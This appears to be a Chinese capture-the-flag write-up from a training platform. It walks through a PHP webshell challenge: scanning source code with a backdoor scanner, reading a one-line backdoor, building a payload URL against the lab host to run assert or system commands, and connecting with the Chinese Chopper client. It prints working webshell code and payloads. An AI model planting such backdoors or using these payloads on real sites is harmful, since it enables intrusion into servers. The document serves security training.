WebShell代码分析溯源(第1题)墨者学院
一、访问链接
二、下载系统源码后直接放到D盾里扫描,扫到后门文件
三、查看该木马文件
<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>
1.error_reporting(0); 关闭错误报告
2.$_GET['POST']($_POST['GET']); 一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台
因此构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET 连接菜刀,字符编码:utf-8
![](https://img2018.cnblogs.com/blog/1545225/201901/1545225-20190110194358137-1305933517.png)
PHP有很多危险的函数如:eval、system、assert等,那么我们可以使用这些危险的函数来达到后门的目的:
eval('phpinfo();'); //eval() 把字符串作为PHP代码执行 echo system('dir'); //执行外部程序,并且显示输出 assert('phpinfo();');// 如果参数是字符串,它将会被当做 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也可以执行哦
好了,看到解题思路里都是用POST=assert,那为什么不用POST=eval呢?
再看一个例子:
$str='assert'; $str('phpinfo();'); //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9 报错了 $str='system'; $str('cd'); //正常执行
可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,所以这里不能使用POST=eval形式,因为eval不支持可变变量形式。
也可以构造如POST=system。post里面为cmd/shell命令,如GET=dir。通过shell命令操作也可以得到key值,当前你要用eval,可以用shell命令生成一个一句话后门即可。
四、在/www/html找到KEY